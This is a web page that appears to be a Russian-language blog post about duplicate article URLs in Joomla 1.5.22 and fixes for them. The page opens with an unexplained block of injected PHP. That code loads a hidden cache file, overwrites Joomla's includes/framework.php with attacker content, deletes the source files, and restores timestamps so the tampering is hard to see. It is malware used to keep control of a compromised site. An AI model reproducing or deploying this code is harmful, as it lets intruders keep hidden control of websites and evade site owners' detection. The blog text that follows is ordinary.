$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Баг или недоработка в Joomla! 1.5.22 при формировании псевдонимов урлов?
5.10 - Украина без налогов!
OSense O-Sense

Баг или недоработка в Joomla! 1.5.22 при формировании псевдонимов урлов?

При добавлении контента на базе движка Joomla! 1.5.22 столкнулся с проблемой в отображении урлов статей. Дело в том что используя главную страницу в качестве блога категории я заметил разницу в формировании url-адресов одной и той же статьи, что крайне не желательно в отношении поисковой оптимизации.

Получается что ПС увидит одну и ту же статью под разными урлами, что повлечёт за собой весьма нежелательные санкции... Специфика формирования урлов была такова, что находясь в каком-либо ином пункте меню, при переходе с него на какую-либо статью (через модуль последних статей), в url статьи вставляется псевдоним страницы, с которой был осуществлён переход на статью... В общем вы меня поняли :)

http://kleparj.com/kirillicheskiye-url-v-seo-prodvizhenii-sajtov

http://kleparj.com/about-me/kirillicheskiye-url-v-seo-prodvizhenii-sajtov

http://kleparj.com/services/kirillicheskiye-url-v-seo-prodvizhenii-sajtov и т.д.

 

Попутно возник один ньюанс, который мне очень не нравился - отображался урл статьи не прямой, как мне того хотелось, а со вставкой component/content/article/. Без установки стороннего компонента эту проблему можно решить путём присвоения пункту меню (блог на главной странице) какой-либо категории статей. Например, сделать главную блогом какой-либо категории/раздела материалов.

Обе проблемы вылечил путём установки компонента sh404SEF, кстати, родной mod_rewrite и ЧПУ включены, и .htaccess

Если нет желания устанавливать дополнительный компонент для решения вышеописанной проблемы, есть очень простое решение - привяжите главную страницу к какому-либо разделу или категории статей на Ваше усмотрение. Тогда урлы будут отображаться адекватно и не будет, соответственно, дублирования контента.

 

Добавить комментарий


Защитный код
Обновить